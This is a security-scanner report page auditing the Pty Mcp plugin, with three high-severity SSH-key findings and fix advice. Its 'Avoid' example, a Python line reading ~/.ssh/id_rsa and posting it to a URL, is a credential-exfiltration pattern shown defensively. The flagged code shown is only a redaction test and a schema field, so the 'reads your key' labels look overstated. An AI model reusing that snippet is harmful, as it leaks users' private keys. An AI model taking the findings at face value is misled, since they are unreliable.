Pty Mcp— plugin

Pty Mcp — independently scanned and version-tracked by SaferSkills.

by raychao-oao·Plugin·github.com/raychao-oao/pty-mcp

Is Pty Mcp safe to install?

SaferSkills independently audited Pty Mcp (Plugin) and scored it 45/100 (orange). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 3 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
45/100
●●●●●○○○○○
Re-scan~30s
Latest scan
ScannedJun 24, 2026 · 133d ago
Scans run0 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 3 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
25
8.8 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 3 flagged

Securityscore 25 · 3 findings
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · internal/audit/redact_test.go×2
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (pem := "-----BEGIN RSA PRIVATE KEY-----\nMIIE...…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerptinternal/audit/redact_test.go
42 
43func TestRedact_PrivateKey(t *testing.T) {
44pem := "-----BEGIN RSA PRIVATE KEY-----\nMIIE...\n-----END RSA PRIVATE KEY-----"
45out := Redact(pem)
46if out != "[PRIVATE KEY REDACTED]" {
Occurrences
2 occurrences · first at L44, also L50
Show all 2 locations
Line
File
L44
internal/audit/redact_test.go
L50
internal/audit/redact_test.go
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha256d4c78a76431cc26e…rubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · internal/mcp/server.go
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header ("key_path": map[string]any{"type": "strin…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerptinternal/mcp/server.go
66"user": map[string]any{"type": "string"},
67"password": map[string]any{"type": "string", "description": "Optional if using key au
… (5 chars elided on L67)
68"key_path": map[string]any{"type": "string", "description": "SSH private key path (de
… (36 chars elided on L68)
69"ignore_host_key": map[string]any{"type": "boolean", "description": "Skip known_hosts check
… (20 chars elided on L69)
70"persistent": map[string]any{"type": "boolean", "description": "Use ai-tmux for persist
… (40 chars elided on L70)
Occurrences
1 occurrence · at L68
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2561c856a0591383f9a…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
Vendor response · right of reply
Are you the maintainer? Submit a response →

Audit the pieces. Scan the whole. Decide.

~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.